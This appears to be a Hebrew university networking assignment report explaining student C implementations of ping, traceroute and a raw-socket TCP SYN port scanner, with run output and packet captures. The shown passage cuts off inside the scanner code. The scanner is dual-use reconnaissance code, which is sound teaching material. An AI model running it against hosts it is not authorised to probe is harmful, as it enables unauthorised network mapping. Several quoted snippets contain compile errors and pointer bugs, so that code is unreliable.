

מטלה 4 - רשתות תקשורת

מגישים: אריאל יעקובי ויואב נחמני
ת"ז: 213096084 + 318727187

- המטלה הוגשה כקובץ ZIP המכיל:
- א) הקלטות של המצבים השונים - בתיקיית pcaps
 - ב) PDF (הקובץ הנוכחי) - "מטלה 4 - רשתות תקשורת"
 - ג) קבצי C להלן - discovery.c + tunnel.c + traceroute.c + port_scanning.c + ping.c
 - ד) קובץ טקסט - secret.txt
 - ה) קובץ makefile
 - ו) קובץ README

ראשית, אפרט על מבנה הקבצים בפרויקט.

*קבצי המטלה הורצו על VM של virtualbox - המערכת שנצרכה Ubuntu 22.04.5 LTS

ping.c

תוכנית זו מממשת את כלי ה-ping הסטנדרטי. המטרה היא למדוד את ה-RTT (Round Trip Time) בין המחשב השולח ליעד, ולבדוק זמינות רשת. התוכנית משתמשת ב-Raw Sockets כדי לשלוח חבילות ICMP מסוג ECHO_REQUEST ולהמתין ל-ECHO_REPLY.

משתנים גלובליים ומבני נתונים:

struct packet: מבנה המייצג את החבילה שאנו שולחים. מכיל את struct icmphdr (הכותרת של פרוטוקול ICMP) ומערך msg (המידע עצמו - Payload). גודל החבילה הוגדר כ-64 בתים.

משתנים גלובליים לסטטיסטיקה (...rtt_min, rtt_max, rtt_sum):

מכיוון שהתוכנית רצה בלולאה עד שהמשתמש לוחץ **Ctrl+C**, אנו חייבים לשמור משתנים גלובליים שיעודכנו בכל איטרציה, כדי שבסוף הריצה פונקציית הטיפול באותות (Signal Handler) תוכל לחשב ממוצע וסטיית תקן.

```
#define PACKET_SIZE 64
#define TIMEOUT_MS 10000 // 10 seconds timeout [cite: 58, 292]

// Global variables for statistics and signal handling
int sockfd = -1;
char *addr_str = NULL;
int packets_transmitted = 0;
int packets_received = 0;
double rtt_min = 999999.0;
double rtt_max = 0.0;
double rtt_sum = 0.0;
double rtt_sq_sum = 0.0;
struct timeval start_prog; // To calculate total running time

// Packet structure
struct packet {
    struct icmphdr hdr;
    unsigned char msg[PACKET_SIZE - sizeof(struct icmphdr)];
};
```

checksum: מבצעת חישוב של בדיקת תקינות החבילה לפי אלגוריתם ה-"One's Complement Sum". פונקציה זו הכרחית בעבודה עם Raw Sockets מכיוון שמערכת ההפעלה אינה מחשבת את ה-Checksum עבור פרוטוקול ICMP באופן אוטומטי, וללא חישוב ידני זה, חבילות היו נזרקות על ידי היעד.

get_time_diff_ms: אשר מקבלת שני מבני זמן וממירה את ההפרש ביניהם לערך מספרי מדויק במילי-שניות, מה שמאפשר מדידה מדויקת של הביצועים.

finish: משמשת כ-Signal Handler עבור האות SIGINT (המתקבל בלחיצת Ctrl+C). תפקידה הוא לתפוס את אירוע הסיום, לחשב את ממוצע הזמנים וסטיית התקן (Standard Deviation) על בסיס הנתונים שנאספו, לסגור את ה-Socket בצורה בטוחה ולסיים את ריצת התוכנית בצורה מסודרת.

```
// Checksum function [cite: 321-356]
unsigned short checksum(void *b, int len) {
    unsigned short *buf = b;
    unsigned int sum = 0;
    unsigned short result;

    for (sum = 0; len > 1; len -= 2)
        sum += *buf++;
    if (len == 1)
        sum += *(unsigned char *)buf;
    sum = (sum >> 16) + (sum & 0xFFFF);
    sum += (sum >> 16);
    result = ~sum;
    return result;
}

// Function to calculate time difference in milliseconds
double get_time_diff_ms(struct timeval *start, struct timeval *end) {
    return (end->tv_sec - start->tv_sec) * 1000.0 +
        (end->tv_usec - start->tv_usec) / 1000.0;
}

// Signal handler to display statistics and exit [cite: 280-285]
void finish(int sig) {
    struct timeval end_prog;
    gettimeofday(&end_prog, NULL);
    double total_time = get_time_diff_ms(&start_prog, &end_prog);

    printf("\n--- %s ping statistics ---\n", addr_str ? addr_str : "unknown");
    printf("%d packets transmitted, %d received, time %.2fms\n",
        packets_transmitted, packets_received, total_time);

    if (packets_received > 0) {
        double avg = rtt_sum / packets_received;
        double mdev = sqrt((rtt_sq_sum / packets_received) - (avg * avg));

        printf("rtt min/avg/max/mdev = %.3f/%.3f/%.3f/%.3f ms\n",
            rtt_min, avg, rtt_max, mdev);
    }

    if (sockfd >= 0) close(sockfd);
    exit(0);
}
```

main: הלוגיקה הראשית. התהליך מתחיל בעיבוד הארגומנטים משורת הפקודה באמצעות getopt, המאפשר למשתמש להגדיר את כתובת היעד, מספר החבילות ומצב "הצפה" (Flood). לאחר מכן, התוכנית יוצרת Raw Socket בפרוטוקול ICMP, פעולה המעניקה לה שליטה מלאה על מבנה החבילה. לב התוכנית הוא לולאה ראשית אשר בונה חבילת ECHO_REQUEST. פרט מימושי חשוב הוא הטמעת זמן השליחה הנוכחי (Timestamp) בתוך ה-Payload של החבילה ושימוש ב-PID (Process ID) כמזהה ייחודי בשדה ה-ID של הכותרת. טכניקה זו מבטיחה שכאשר התשובה תחזור, התוכנית תוכל לזהות שהחבילה שייכת אליה (ולא לתוכנית ping אחרת) ולשלוף את זמן השליחה המקורי לצורך חישוב ה-RTT.

לאחר בניית החבילה ושליחתה באמצעות sendto, התוכנית עוברת למצב המתנה לתשובה. במקום חסימה מלאה, נעשה שימוש בפונקציה poll המוגדרת עם זמן קצוב (Timeout) של 10 שניות, כדי למנוע מצב של קיפאון (Deadlock) במקרה של אובדן חבילות. כאשר מתקבל מידע באמצעות recvfrom, התוכנית קוראת את החבילה הגולמית, מדלגת על כותרת ה-IP (שנוספת על ידי מערכת ההפעלה) ומגיעה לכותרת ה-ICMP. שם מתבצעת בדיקה האם מדובר ב-ECHO_REPLY והאם ה-ID תואם. במידה והתשובה תקינה, מחושב הפרש הזמנים, הסטטיסטיקות מתעדכנות, והפלט מודפס למשתמש. במצב ריצה רגיל, הלולאה משהה את עצמה לשנייה אחת בין חבילות, אך במצב Flood היא שולחת חבילות ברצף מהיר ללא המתנה.

```
int main(int argc, char *argv[]) {
    struct sockaddr_in addr_con;
    struct hostent *hname;
    struct packet pkt;
    int opt;

    // Default values
    int count_limit = -1; // Infinite by default
    int flood_mode = 0;
    int seq_counter = 0; // Start with counter = 0
    int my_pid = getpid();

    // Parse arguments
    while ((opt = getopt(argc, argv, "a:c:f")) != -1) {
        switch (opt) {
            case 'a':
                addr_str = optarg;
                break;
            case 'c':
                count_limit = atoi(optarg);
                break;
            case 'f':
                flood_mode = 1;
                break;
            default:
                fprintf(stderr, "Usage: %s -a <address> [-c <count>] [-f]\n", argv[0]);
                exit(1);
        }
    }

    if (addr_str == NULL) {
        fprintf(stderr, "Error: Address (-a) is required.\n");
        exit(1);
    }

    // Capture start time for statistics
    gettimeofday(&start_prog, NULL);

    // Register signal handler (Ctrl+C) [cite: 285]
    signal(SIGINT, finish);
```

```

// Resolve hostname
hname = gethostbyname(addr_str);
if (!hname) {
    fprintf(stderr, "Error: Could not resolve hostname %s\n", addr_str);
    exit(1);
}

// Configure destination address
memset(&addr_con, 0, sizeof(addr_con));
addr_con.sin_family = AF_INET;
memcpy(&addr_con.sin_addr, hname->h_addr_list[0], hname->h_length);

// Create Raw Socket
sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
if (sockfd < 0) {
    perror("Socket creation failed (run with sudo?)");
    exit(1);
}

// Set TTL (optional)
int ttl_val = 64;
if (setsockopt(sockfd, IPPROTO_IP, IP_TTL, &ttl_val, sizeof(ttl_val)) != 0) {
    perror("Set TTL option failed");
    // Proceed anyway
}

printf("Pinging %s with %d bytes of data:\n", addr_str, PACKET_SIZE);

// Main Loop
while (count_limit == -1 || packets_transmitted < count_limit) {

    // 1. Prepare Packet
    memset(&pckt, 0, sizeof(pckt));
    pckt.hdr.type = ICMP_ECHO;
    pckt.hdr.code = 0;
    pckt.hdr.un.echo.id = htons(my_pid); // Use PID to identify our packets
    pckt.hdr.un.echo.sequence = htons(seq_counter); // Sequence number

    // Put current time in payload to calculate RTT later
    struct timeval start_packet_time;
    gettimeofday(&start_packet_time, NULL);
    memcpy(pckt.msg, &start_packet_time, sizeof(start_packet_time));

```

```

    pckt.hdr.checksum = checksum(&pckt, sizeof(pckt));

    // 2. Send Packet
    if (sendto(sockfd, &pckt, sizeof(pckt), 0,
        (struct sockaddr *)&addr_con, sizeof(addr_con)) <= 0) {
        perror("Packet send failed");
    } else {
        packets_transmitted++;
        if (flood_mode) {
            write(STDOUT_FILENO, ".", 1);
        }
    }

    // 3. Wait for Reply (Poll) with 10s Timeout [cite: 286-300]
    struct pollfd pfd;
    pfd.fd = sockfd;
    pfd.events = POLLIN;

    int ret = poll(&pfd, 1, TIMEOUT_MS);

    if (ret == 0) {
        // Timeout occurred - Terminate program as per instructions [cite: 58-59]
        printf("\nTimeout occurred! No reply received within 10 seconds. Terminating.\n");
        finish(0);
    } else if (ret < 0) {
        perror("poll failed");
        finish(0);
    } else {
        // Data received
        if (pfd.revents & POLLIN) {
            struct sockaddr_in r_addr;
            socklen_t len = sizeof(r_addr);
            unsigned char buf[1024];

            int bytes = recvfrom(sockfd, buf, sizeof(buf), 0, (struct sockaddr *)&r_addr, &len);
            if (bytes > 0) {
                struct iphdr *ip = (struct iphdr *)buf;
                int iphdr_len = ip->ihl * 4;
                struct icmphdr *icmp = (struct icmphdr *)(&buf + iphdr_len);

                // Check if it's an ECHO REPLY and if ID matches our PID
                if (icmp->type == ICMP_ECHOREPLY && icmp->un.echo.id == htons(my_pid)) {
                    struct timeval sent_time, curr_time;
                    gettimeofday(&curr_time, NULL);

                    // Extract original time from payload
                    unsigned char *payload_ptr = (unsigned char *)icmp + sizeof(struct icmphdr);
                    memcpy(&sent_time, payload_ptr, sizeof(sent_time));

```

```

double rtt = get_time_diff_ms(&sent_time, &curr_time);

// Update stats
if (rtt < rtt_min) rtt_min = rtt;
if (rtt > rtt_max) rtt_max = rtt;
rtt_sum += rtt;
rtt_sq_sum += (rtt * rtt);
packets_received++;

int recv_seq = ntohs icmp->un.echo.sequence);

// Print output
if (!flood_mode) {
    printf("%d bytes from %s: icmp_seq=%d ttl=%d time=%.3f ms\n",
           bytes - iphdr_len, // ICMP packet size
           inet_ntoa(r_addr.sin_addr),
           recv_seq,
           ip->ttl,
           rtt);
} else {
    write(STDOUT_FILENO, "\b", 1); // remove dot
}
}
}

// 4. Sleep 1 second (if not flood) [cite: 83]
if (!flood_mode) {
    usleep(1000000);
}

seq_counter++;
}

// End of loop - print final stats
finish(0);
return 0;
}

```

הרצה:

```

ariely122@Ubuntu:/media/sf_Assignment_4$ sudo ./ping -c 4 -a 8.8.8.8
Pinging 8.8.8.8 with 64 bytes of data:
64 bytes from 8.8.8.8: icmp_seq=0 ttl=116 time=6.927 ms
64 bytes from 8.8.8.8: icmp_seq=1 ttl=116 time=7.783 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=116 time=9.797 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=116 time=7.916 ms

--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, time 4038.36ms
rtt min/avg/max/mdev = 6.927/8.106/9.797/1.048 ms

```

צילום wirehark לאחר סינון "icmp" בחיפוש:

	Info	Length	Protocol	Destination	Source	Time	.No
Echo (ping) request	id=0x0fa1, seq=0/0, ttl=64 (reply in 25)	98	ICMP	8.8.8.8	10.0.0.19	0 24	
Echo (ping) reply	id=0x0fa1, seq=0/0, ttl=116 (request in 24)	98	ICMP	10.0.0.19	8.8.8.8	0 25	
Echo (ping) request	id=0x0fa1, seq=1/256, ttl=64 (reply in 37)	98	ICMP	8.8.8.8	10.0.0.19	1 36	
Echo (ping) reply	id=0x0fa1, seq=1/256, ttl=116 (request in 36)	98	ICMP	10.0.0.19	8.8.8.8	0 37	
Echo (ping) request	id=0x0fa1, seq=2/512, ttl=64 (reply in 72)	98	ICMP	8.8.8.8	10.0.0.19	1 69	
Echo (ping) reply	id=0x0fa1, seq=2/512, ttl=116 (request in 69)	98	ICMP	10.0.0.19	8.8.8.8	0 72	
Echo (ping) request	id=0x0fa1, seq=3/768, ttl=64 (reply in 80)	98	ICMP	8.8.8.8	10.0.0.19	1 79	
Echo (ping) reply	id=0x0fa1, seq=3/768, ttl=116 (request in 79)	98	ICMP	10.0.0.19	8.8.8.8	0 80	

4 ping request + 4 ping reply

מה קו שלי ל8.8.8.8
ההקלטה נשמרה בזיפ בשם "ping_pcap"

traceroute.c

קובץ זה מממש כלי למיפוי נתיב הרשת (Routing Path) אל כתובת יעד מסוימת. הלוגיקה המרכזית של התוכנית מבוססת על מניפולציה של שדה ה-TTL (Time To Live) בכתובת ה-IP. הרעיון הוא לשלוח סדרת חבילות עם ערכי TTL עולים, החל מ-1. כאשר חבילה מגיעה לנתב (Router) וה-TTL שלה יורד לאפס, הנתב משמיד את החבילה ושולח הודעת ICMP Time Exceeded מסוג חזרה לשולח. הודעה זו חושפת את כתובת ה-IP של הנתב, ובכך מאפשרת לתוכנית למפות את הנקודות בדרך ליעד. בניגוד לתוכנית ה-Ping, כאן נדרשת שליטה מלאה על כתובת ה-IP, ולכן הקוד עושה שימוש באופציה IP_HDRINCL.

struct packet

מבנה זה שונה מהמבנה בתוכנית ה-Ping מכיוון שהוא מאגד בתוכו גם את כתובת ה-struct iphdr (IP) וגם את כתובת ה-struct icmp (ICMP), יחד עם המקום למידע הנוסף (Payload). הסיבה להכללת כתובת ה-IP במבנה היא השימוש ב-Raw Socket במצב שבו המשתמש בונה את הכותרת בעצמו. ללא מבנה זה, לא ניתן היה לקבוע את ערך ה-TTL באופן פרטני לכל חבילה שנשלחת, שכן ברירת המחדל של מערכת ההפעלה היא לקבוע TTL קבוע וגבוה.

```
// Packet structure containing both IP and ICMP headers
struct packet {
    struct iphdr ip;
    struct icmp_hdr icmp;
    char payload[PACKET_SIZE - sizeof(struct iphdr) - sizeof(struct icmp_hdr)];
};
```

checksum

אחראית על חישוב בדיקת התקינות (Checksum) של החבילה. היא מבצעת סכימה של כל המילים בחבילה (בגודל 16 ביט) ומשתמשת באלגוריתם ה-One's Complement Sum כדי לייצר ערך אימות. ערך זה הכרחי כדי שהיעד והנתבים בדרך יקבלו את החבילה ולא יזרקו אותה כפגומה.

get_time_diff_ms

משמשת לחישוב מדויק של הזמן שחלף מרגע השליחה ועד קבלת התשובה. היא מקבלת שני מבני זמן, מחשבת את ההפרש בשניות ובמיקרו-שניות, ומחזירה תוצאה במילי-שניות מסוג double, המאפשרת דיוק גבוה במדידת ה-RTT (Round Trip Time).

```
// Checksum function (Same as Ping) [cite: 316-356]
unsigned short checksum(void *b, int len) {
    unsigned short *buf = b;
    unsigned int sum = 0;
    unsigned short result;

    for (sum = 0; len > 1; len -= 2)
        sum += *buf++;
    if (len == 1)
        sum += *(unsigned char *)buf;
    sum = (sum >> 16) + (sum & 0xFFFF);
    sum += (sum >> 16);
    result = ~sum;
    return result;
}

double get_time_diff_ms(struct timeval *start, struct timeval *end) {
    return (end->tv_sec - start->tv_sec) * 1000.0 +
        (end->tv_usec - start->tv_usec) / 1000.0;
}
```



```

        struct icmphdr *orig_icmp = (struct icmphdr *) (buf + ip_len + 8 + orig_ip_len);

        if (orig_icmp->un.echo.id == htons(pid) &&
            orig_icmp->un.echo.sequence == htons(ttl * 10 + probe)) {
            is_ours = 1;
        }
    } else if (recv_icmp->type == ICMP_ECHOREPLY) {
        // Type 0: Standard reply
        if (recv_icmp->un.echo.id == htons(pid) &&
            recv_icmp->un.echo.sequence == htons(ttl * 10 + probe)) {
            is_ours = 1;
            destination_reached = 1; // [cite: 142]
        }
    }

    if (is_ours) {
        if (!printed_ip) {
            printf("%s ", inet_ntoa(r_addr.sin_addr)); // Print IP only once per line
            printed_ip = 1;
            responder_ip = r_addr.sin_addr;
        }
        printf("%.3fms ", rtt); // Print time [cite: 121]
    } else {
        printf("* ");
    }
}

printf("\n");

close(sockfd);
return 0;

```

הרצה:

```

ariely122@Ubuntu:/media/sf_Assignment_4$ sudo ./traceroute -a 8.8.8.8
traceroute to 8.8.8.8 (8.8.8.8), 30 hops max
 1  10.0.0.138 0.973ms 0.711ms 0.966ms
 2  100.80.95.254 2.427ms 1.633ms 2.327ms
 3  10.238.57.57 4.777ms 4.328ms 4.407ms
 4  10.238.57.58 3.516ms * *
 5  10.238.58.57 5.429ms 6.099ms 4.604ms
 6  147.235.111.234 7.051ms 5.772ms 6.138ms
 7  147.235.111.235 5.853ms 5.891ms 6.005ms
 8  216.239.50.161 6.412ms 7.333ms 6.690ms
 9  142.251.240.183 6.914ms 7.110ms 6.499ms
10  8.8.8.8 9.153ms 6.259ms 6.996ms

```


צילום wirehark לאחר סינון "icmp" בחיפוש:

Echo (ping) request id=0x0ff3, seq=10/2560, ttl=1 (no response found!) 78	ICMP	8.8.8.8	10.0.0.19	0 56
Time-to-live exceeded (Time to live exceeded in transit) 106	ICMP	10.0.0.19	10.0.0.138	0 57
Echo (ping) request id=0x0ff3, seq=11/2816, ttl=1 (no response found!) 78	ICMP	8.8.8.8	10.0.0.19	0 58
Time-to-live exceeded (Time to live exceeded in transit) 106	ICMP	10.0.0.19	10.0.0.138	0 59
Echo (ping) request id=0x0ff3, seq=12/3072, ttl=1 (no response found!) 78	ICMP	8.8.8.8	10.0.0.19	0 60
Time-to-live exceeded (Time to live exceeded in transit) 106	ICMP	10.0.0.19	10.0.0.138	0 61
Echo (ping) request id=0x0ff3, seq=20/5120, ttl=2 (no response found!) 78	ICMP	8.8.8.8	10.0.0.19	0 62
Time-to-live exceeded (Time to live exceeded in transit) 106	ICMP	10.0.0.19	100.80.95.254	0 63
Echo (ping) request id=0x0ff3, seq=21/5376, ttl=2 (no response found!) 78	ICMP	8.8.8.8	10.0.0.19	0 64
Time-to-live exceeded (Time to live exceeded in transit) 106	ICMP	10.0.0.19	100.80.95.254	0 65
Echo (ping) request id=0x0ff3, seq=22/5632, ttl=2 (no response found!) 78	ICMP	8.8.8.8	10.0.0.19	0 66
Time-to-live exceeded (Time to live exceeded in transit) 106	ICMP	10.0.0.19	100.80.95.254	0 67
Echo (ping) request id=0x0ff3, seq=30/7680, ttl=3 (no response found!) 78	ICMP	8.8.8.8	10.0.0.19	0 68
Time-to-live exceeded (Time to live exceeded in transit) 70	ICMP	10.0.0.19	10.238.57.57	0 69
Echo (ping) request id=0x0ff3, seq=31/7936, ttl=3 (no response found!) 78	ICMP	8.8.8.8	10.0.0.19	0 70
Time-to-live exceeded (Time to live exceeded in transit) 70	ICMP	10.0.0.19	10.238.57.57	0 71
Echo (ping) request id=0x0ff3, seq=32/8192, ttl=3 (no response found!) 78	ICMP	8.8.8.8	10.0.0.19	0 72
Time-to-live exceeded (Time to live exceeded in transit) 70	ICMP	10.0.0.19	10.238.57.57	0 73
Echo (ping) request id=0x0ff3, seq=40/10240, ttl=4 (no response found!) 78	ICMP	8.8.8.8	10.0.0.19	0 74
Time-to-live exceeded (Time to live exceeded in transit) 106	ICMP	10.0.0.19	10.238.57.58	0 75
Echo (ping) request id=0x0ff3, seq=41/10496, ttl=4 (no response found!) 78	ICMP	8.8.8.8	10.0.0.19	0 76
Echo (ping) request id=0x0ff3, seq=42/10752, ttl=4 (no response found!) 78	ICMP	8.8.8.8	10.0.0.19	1 87
Echo (ping) request id=0x0ff3, seq=50/12800, ttl=5 (no response found!) 78	ICMP	8.8.8.8	10.0.0.19	1 102
Time-to-live exceeded (Time to live exceeded in transit) 70	ICMP	10.0.0.19	10.238.58.57	0 103
Echo (ping) request id=0x0ff3, seq=51/13056, ttl=5 (no response found!) 78	ICMP	8.8.8.8	10.0.0.19	0 104
Time-to-live exceeded (Time to live exceeded in transit) 70	ICMP	10.0.0.19	10.238.58.57	0 105
Echo (ping) request id=0x0ff3, seq=52/13312, ttl=5 (no response found!) 78	ICMP	8.8.8.8	10.0.0.19	0 106
Time-to-live exceeded (Time to live exceeded in transit) 70	ICMP	10.0.0.19	10.238.58.57	0 107
Echo (ping) request id=0x0ff3, seq=60/15360, ttl=6 (no response found!) 78	ICMP	8.8.8.8	10.0.0.19	0 108
Time-to-live exceeded (Time to live exceeded in transit) 70	ICMP	10.0.0.19	147.235.111.234	0 109
Echo (ping) request id=0x0ff3, seq=61/15616, ttl=6 (no response found!) 78	ICMP	8.8.8.8	10.0.0.19	0 110
Time-to-live exceeded (Time to live exceeded in transit) 70	ICMP	10.0.0.19	147.235.111.234	0 111
Echo (ping) request id=0x0ff3, seq=62/15872, ttl=6 (no response found!) 78	ICMP	8.8.8.8	10.0.0.19	0 112
Time-to-live exceeded (Time to live exceeded in transit) 70	ICMP	10.0.0.19	147.235.111.234	0 113
Echo (ping) request id=0x0ff3, seq=70/17920, ttl=7 (no response found!) 78	ICMP	8.8.8.8	10.0.0.19	0 114
Time-to-live exceeded (Time to live exceeded in transit) 106	ICMP	10.0.0.19	147.235.111.235	0 115
Echo (ping) request id=0x0ff3, seq=71/18176, ttl=7 (no response found!) 78	ICMP	8.8.8.8	10.0.0.19	0 116
Time-to-live exceeded (Time to live exceeded in transit) 106	ICMP	10.0.0.19	147.235.111.235	0 117
Echo (ping) request id=0x0ff3, seq=72/18432, ttl=7 (no response found!) 78	ICMP	8.8.8.8	10.0.0.19	0 118
Time-to-live exceeded (Time to live exceeded in transit) 106	ICMP	10.0.0.19	147.235.111.235	0 119
Echo (ping) request id=0x0ff3, seq=80/20480, ttl=8 (no response found!) 78	ICMP	8.8.8.8	10.0.0.19	0 120
Time-to-live exceeded (Time to live exceeded in transit) 110	ICMP	10.0.0.19	216.239.50.161	0 121
Echo (ping) request id=0x0ff3, seq=81/20736, ttl=8 (no response found!) 78	ICMP	8.8.8.8	10.0.0.19	0 122
Time-to-live exceeded (Time to live exceeded in transit) 110	ICMP	10.0.0.19	216.239.50.161	0 123
Echo (ping) request id=0x0ff3, seq=82/20992, ttl=8 (no response found!) 78	ICMP	8.8.8.8	10.0.0.19	0 124
Time-to-live exceeded (Time to live exceeded in transit) 110	ICMP	10.0.0.19	216.239.50.161	0 125
Echo (ping) request id=0x0ff3, seq=90/23040, ttl=9 (no response found!) 78	ICMP	8.8.8.8	10.0.0.19	0 126
Time-to-live exceeded (Time to live exceeded in transit) 106	ICMP	10.0.0.19	142.251.240.183	0 127
Echo (ping) request id=0x0ff3, seq=91/23296, ttl=9 (no response found!) 78	ICMP	8.8.8.8	10.0.0.19	0 128
Time-to-live exceeded (Time to live exceeded in transit) 106	ICMP	10.0.0.19	142.251.240.183	0 129
Echo (ping) request id=0x0ff3, seq=92/23552, ttl=9 (no response found!) 78	ICMP	8.8.8.8	10.0.0.19	0 130
Time-to-live exceeded (Time to live exceeded in transit) 106	ICMP	10.0.0.19	142.251.240.183	0 131
Echo (ping) request id=0x0ff3, seq=100/25600, ttl=10 (reply in 133) 78	ICMP	8.8.8.8	10.0.0.19	0 132
Echo (ping) reply id=0x0ff3, seq=100/25600, ttl=116 (request in 132) 78	ICMP	10.0.0.19	8.8.8.8	0 133
Echo (ping) request id=0x0ff3, seq=101/25856, ttl=10 (reply in 135) 78	ICMP	8.8.8.8	10.0.0.19	0 134
Echo (ping) reply id=0x0ff3, seq=101/25856, ttl=116 (request in 134) 78	ICMP	10.0.0.19	8.8.8.8	0 135
Echo (ping) request id=0x0ff3, seq=102/26112, ttl=10 (reply in 137) 78	ICMP	8.8.8.8	10.0.0.19	0 136
Echo (ping) reply id=0x0ff3, seq=102/26112, ttl=116 (request in 136) 78	ICMP	10.0.0.19	8.8.8.8	0 137
Destination unreachable (Port unreachable) 363				
ICMP				
10.0.0.138				
10.0.0.19				
4 173				

ניתן לראות הרבה בקשות Ping. ישנם המון שורות של TTL מת, בסוף קיבלנו ping reply. נשמר בזיף בשם "traceroute_pcap"

port_scanning.c:

תוכנית זו מממשת כלי לסריקת פורטים המסוגל לבצע בדיקות הן בפרוטוקול TCP והן בפרוטוקול UDP, במטרה לזהות שירותים פתוחים בשרת היעד. הקוד עושה שימוש נרחב ב-Raw Sockets כדי לבנות את כותרות הפרוטוקולים מאפס, דבר המעניק שליטה מלאה על דגלי ה-TCP ואופן שליחת החבילות.

struct pseudo_header:

מבנה זה אינו נשלח ברשת כחלק מהחבילה, אך הוא קריטי לצורך חישוב ה-Checksum של TCP ו-UDP. הוא מכיל את כתובות ה-IP של השולח והמקבל, הפרוטוקול ואורך המידע. ללא הכללת ה"כותרת המדומה" הזו בחישוב, חבילת ה-TCP תיחשב פגומה ותיזרק על ידי מערכת ההפעלה של היעד.

:checksum

אותו הדבר כמו הקבצים הקודמים.

:get_local_ip

עונה על הצורך לדעת את כתובת ה-IP המקומית כדי למלא את שדות המקור בכתובת. הפונקציה מבצעת "תרגיל" חכם: היא יוצרת Socket רגיל מסוג UDP ומנסה "להתחבר" לכתובת חיצונית (כגון 8.8.8.8). הפעולה לא באמת שולחת חבילה ברשת, אך היא גורמת למערכת ההפעלה לבחור את ממשק הרשת המתאים ולשייך לו כתובת IP מקומית, אותה אנו שולפים באמצעות `getsockname`.

```
struct pseudo_header {
    u_int32_t source_address;
    u_int32_t dest_address;
    u_int8_t placeholder;
    u_int8_t protocol;
    u_int16_t length;
};

unsigned short checksum(void *b, int len) {
    unsigned short *buf = b;
    unsigned int sum = 0;
    unsigned short result;

    for (sum = 0; len > 1; len -= 2)
        sum += *buf++;
    if (len == 1)
        sum += *(unsigned char *)buf;
    sum = (sum >> 16) + (sum & 0xFFFF);
    sum += (sum >> 16);
    result = ~sum;
    return result;
}

uint32_t get_local_ip() {
    int sock = socket(AF_INET, SOCK_DGRAM, 0);
    struct sockaddr_in serv;
    memset(&serv, 0, sizeof(serv));
    serv.sin_family = AF_INET;
    serv.sin_addr.s_addr = inet_addr("8.8.8.8");
    serv.sin_port = htons(53);
    connect(sock, (const struct sockaddr*)&serv, sizeof(serv));
    struct sockaddr_in name;
    socklen_t namelen = sizeof(name);
    getsockname(sock, (struct sockaddr*)&name, &namelen);
    close(sock);
    return name.sin_addr.s_addr;
}
```

:scan_tcp

היא מממשת טכניקה הנקראת "SYN Scan" או "Half-open scanning". עבור כל פורט בטווח הסריקה, התוכנית בונה חבילת IP וחבילת TCP. בכתובת ה-TCP, הדגל SYN מופעל, המייצג בקשה לפתיחת שיחה. האתגר הטכני הגדול ביותר כאן הוא חישוב ה-Checksum: התוכנית מקצה זיכרון זמני, מעתיקה אליו את ה-Pseudo Header ואת כותרת ה-TCP, מחשבת את ה-Checksum על שניהם יחד, ורק אז שולחת את החבילה. במקביל התוכנית ממתינה לתשובה.

:listen_tcp_responses

מאזינה להודעות TCP. כאשר חבילת SYN/ACK מגיעה, במקום להשלים את הלחיצת-יד המשולשת (Three-Way Handshake), התוכנית שולחת מיד חבילת Reset (RST) כדי לסגור את הקשר בצורה שקטה ולא להעמיס על השרת ומדפיסה שהפורט ששלח אותה פתוח.

```

115 void* scan_tcp(void* arg) {
116     struct scan_config* config = (struct scan_config*)arg;
117     int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
118     if (sockfd < 0) { perror("Socket failed"); return NULL; }
119     const char* dest_ip_str = config->ip;
120     int start_port = MIN_PORT;
121     int end_port = MAX_PORT;
122     int on = 1;
123     setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));
124
125     struct sockaddr_in dest;
126     dest.sin_family = AF_INET;
127     dest.sin_addr.s_addr = inet_addr(dest_ip_str);
128
129     uint32_t src_ip = get_local_ip();
130
131     printf("Starting TCP Scan on %s...\n", dest_ip_str);
132
133     for (int port = start_port; port <= end_port; port++) {
134         char packet[4096];
135         memset(packet, 0, sizeof(packet));
136
137         struct iphdr *iph = (struct iphdr *)packet;
138         struct tcphdr *tcph = (struct tcphdr *) (packet + sizeof(struct iphdr));
139         struct pseudo_header psh;
140
141         iph->ihl = 5;
142         iph->version = 4;
143         iph->tos = 0;
144         iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
145         iph->id = htons(54321);
146         iph->frag_off = 0;
147         iph->ttl = 64;
148         iph->protocol = IPPROTO_TCP;
149         iph->saddr = src_ip;
150         iph->daddr = dest.sin_addr.s_addr;
151         iph->check = checksum((unsigned short *)packet, iph->tot_len);
152
153         tcph->source = htons(12345);
154         tcph->dest = htons(port);
155         tcph->seq = 0;
156         tcph->ack_seq = 0;
157         tcph->doff = 5;
158         tcph->fin = 0;
159         tcph->syn = 1;
160         tcph->rst = 0;
161         tcph->psh = 0;
162         tcph->ack = 0;
163         tcph->urg = 0;
164         tcph->window = htons(5840);
165         tcph->check = 0;
166         tcph->urg_ptr = 0;

```

```

167     psh.source_address = src_ip;
168     psh.dest_address = dest.sin_addr.s_addr;
169     psh.placeholder = 0;
170     psh.protocol = IPPROTO_TCP;
171     psh.length = htons(sizeof(struct tcphdr));
172
173     int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr);
174     char *pseudogram = malloc(psize);
175     memcpy(pseudogram, (char*)&psh, sizeof(struct pseudo_header));
176     memcpy(pseudogram + sizeof(struct pseudo_header), tcph, sizeof(struct tcphdr));
177     tcph->check = checksum((unsigned short*)pseudogram, psize);
178     free(pseudogram);
179
180
181     if (sendto(sockfd, packet, iph->tot_len, 0, (struct sockaddr *)&dest, sizeof(dest)) < 0) {
182         continue;
183     }
184     usleep(SLEEP_USEC); //to avoid flooding the network wait for 5 milliseconds
185
186 }
187
188 return NULL;
189 }
190

```

```

64 void* listen_tcp_responses(void* arg) {
65     struct scan_config* config = (struct scan_config*)arg;
66     unsigned char buf[4096];
67
68     while (1) {
69         int bytes = recvfrom(config->sockfd, buf, sizeof(buf), 0, NULL, NULL);
70         if (bytes < 0) continue;
71
72         struct iphdr *recv_ip = (struct iphdr *)buf;
73         if (recv_ip->protocol != IPPROTO_TCP) continue;
74
75         struct tcphdr *recv_tcp = (struct tcphdr *) (buf + (recv_ip->ihl * 4));
76
77         // בדיקה שהתשובה מיועדת לפורט המקור שלנו ושהיא SYN-ACK
78         if (recv_tcp->dest == htons(12345)) {
